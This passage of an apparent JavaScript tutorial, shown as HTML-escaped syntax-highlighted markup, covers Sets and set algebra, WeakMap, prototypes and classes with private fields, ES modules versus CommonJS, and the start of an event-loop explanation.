&lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;w&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="nx"&gt;words&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nx"&gt;counts&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;w&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;counts&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getOrInsert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;w&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Set (unique values)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Set&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;   &lt;span class="c1"&gt;// {1, 2, 3}&lt;/span&gt;
&lt;span class="nx"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;  &lt;span class="nx"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;has&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;  &lt;span class="nx"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;delete&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;  &lt;span class="nx"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;size&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Set algebra (ES2025):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Set&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;b&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Set&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;

&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;union&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;                &lt;span class="c1"&gt;// {1, 2, 3, 4}&lt;/span&gt;
&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;intersection&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;         &lt;span class="c1"&gt;// {2, 3}&lt;/span&gt;
&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;difference&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;           &lt;span class="c1"&gt;// {1}&lt;/span&gt;
&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;symmetricDifference&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;  &lt;span class="c1"&gt;// {1, 4}&lt;/span&gt;
&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;isSubsetOf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;  &lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;isSupersetOf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;  &lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;isDisjointFrom&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  WeakMap and WeakSet
&lt;/h3&gt;

&lt;p&gt;Keys must be objects (or non-registered symbols), held &lt;strong&gt;weakly&lt;/strong&gt; so they can be garbage collected. Not iterable, no &lt;code&gt;size&lt;/code&gt;. Use for metadata attached to objects without causing leaks.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;meta&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;WeakMap&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="nx"&gt;meta&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;domNode&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;clicks&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;    &lt;span class="c1"&gt;// entry disappears when domNode is collected&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  13. Prototypes and classes
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The prototype chain
&lt;/h3&gt;

&lt;p&gt;Every object has a hidden link to another object (its prototype). Property lookup walks that chain until &lt;code&gt;null&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;animal&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;eats&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;dog&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;create&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;animal&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;dog&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;barks&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nx"&gt;dog&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;eats&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;                                  &lt;span class="c1"&gt;// true (found on the prototype)&lt;/span&gt;
&lt;span class="nb"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getPrototypeOf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;dog&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nx"&gt;animal&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;     &lt;span class="c1"&gt;// true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;class&lt;/code&gt; is cleaner syntax over the same prototype system.&lt;/p&gt;

&lt;h3&gt;
  
  
  Classes
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Account&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="nx"&gt;balance&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;                          &lt;span class="c1"&gt;// truly private&lt;/span&gt;
  &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="nx"&gt;count&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;                      &lt;span class="c1"&gt;// belongs to the class&lt;/span&gt;

  &lt;span class="nf"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;owner&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nx"&gt;Account&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;count&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="nf"&gt;deposit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;n&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;n&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;RangeError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Amount must be positive&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="nx"&gt;balance&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="nx"&gt;n&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;                         &lt;span class="c1"&gt;// enables chaining&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="kd"&gt;get&lt;/span&gt; &lt;span class="nf"&gt;balance&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="nx"&gt;balance&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="nf"&gt;create&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Account&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Savings&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="nc"&gt;Account&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nf"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;rate&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;super&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;                        &lt;span class="c1"&gt;// must call super before using this&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;rate&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;rate&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="nf"&gt;deposit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;n&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;super&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;deposit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;n&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mf"&gt;1.01&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Savings&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Asha&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;0.05&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;s&lt;/span&gt; &lt;span class="k"&gt;instanceof&lt;/span&gt; &lt;span class="nx"&gt;Account&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;                    &lt;span class="c1"&gt;// true&lt;/span&gt;
&lt;span class="nx"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;balance&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;                               &lt;span class="c1"&gt;// 0&lt;/span&gt;
&lt;span class="c1"&gt;// s.#balance                            // SyntaxError (private)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Facts:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Methods live on the &lt;strong&gt;prototype&lt;/strong&gt; (shared). Class fields (&lt;code&gt;x = 1&lt;/code&gt;) live on each &lt;strong&gt;instance&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Class bodies are strict mode. Classes are not hoisted like functions (TDZ).&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;#private&lt;/code&gt; fields cannot be read from outside, even by subclasses. Check with &lt;code&gt;#x in obj&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;static { }&lt;/code&gt; blocks run once at class definition for setup.&lt;/li&gt;
&lt;li&gt;Prefer &lt;strong&gt;composition over deep inheritance&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  14. Modules
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;ES Modules (ESM)&lt;/th&gt;
&lt;th&gt;CommonJS (CJS)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Syntax&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;import&lt;/code&gt; / &lt;code&gt;export&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;require()&lt;/code&gt; / &lt;code&gt;module.exports&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Loading&lt;/td&gt;
&lt;td&gt;Static, async&lt;/td&gt;
&lt;td&gt;Dynamic, sync&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Top-level &lt;code&gt;await&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Default in&lt;/td&gt;
&lt;td&gt;Browsers, modern Node (&lt;code&gt;"type": "module"&lt;/code&gt; or &lt;code&gt;.mjs&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Older Node (&lt;code&gt;.cjs&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// math.js&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;PI&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;3.14&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Calculator&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;

&lt;span class="c1"&gt;// app.js&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;Calculator&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;PI&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;add&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nx"&gt;sum&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;./math.js&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nx"&gt;math&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;./math.js&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;default&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Chart&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="k"&gt;import&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;./chart.js&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;     &lt;span class="c1"&gt;// dynamic import (lazy load)&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;config&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;./config.json&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="kd"&gt;with&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;json&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;  &lt;span class="c1"&gt;// JSON modules (ES2025)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;Browsers: &lt;code&gt;&amp;lt;script type="module" src="app.js"&amp;gt;&amp;lt;/script&amp;gt;&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;ESM imports are &lt;strong&gt;live bindings&lt;/strong&gt; and are hoisted. Modules run once and are cached.&lt;/li&gt;
&lt;li&gt;Prefer &lt;strong&gt;named exports&lt;/strong&gt; (better refactoring and tree shaking).&lt;/li&gt;
&lt;li&gt;Always include the file extension in browser and Node ESM imports.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  15. Asynchronous JavaScript
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The event loop (the one diagram to memorize)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Call Stack  &amp;lt;---  Microtask queue (Promises, queueMicrotask)      runs FIRST, fully drained
            &amp;lt;---  Macrotask queue (setTimeout, events, I/O)       ONE task, then microtasks again
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Order:&lt;/strong&gt; run sync code, drain &lt;strong&gt;all microtasks&lt;/strong&gt;, run &lt;strong&gt;one macrotask&lt;/strong&gt;, drain microtasks, repeat.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;1&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nf"&gt;setTimeout&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;2&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nb"&gt;Promise&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;resolve&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;3&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="nf"&gt;queueMicrotask&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;4&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
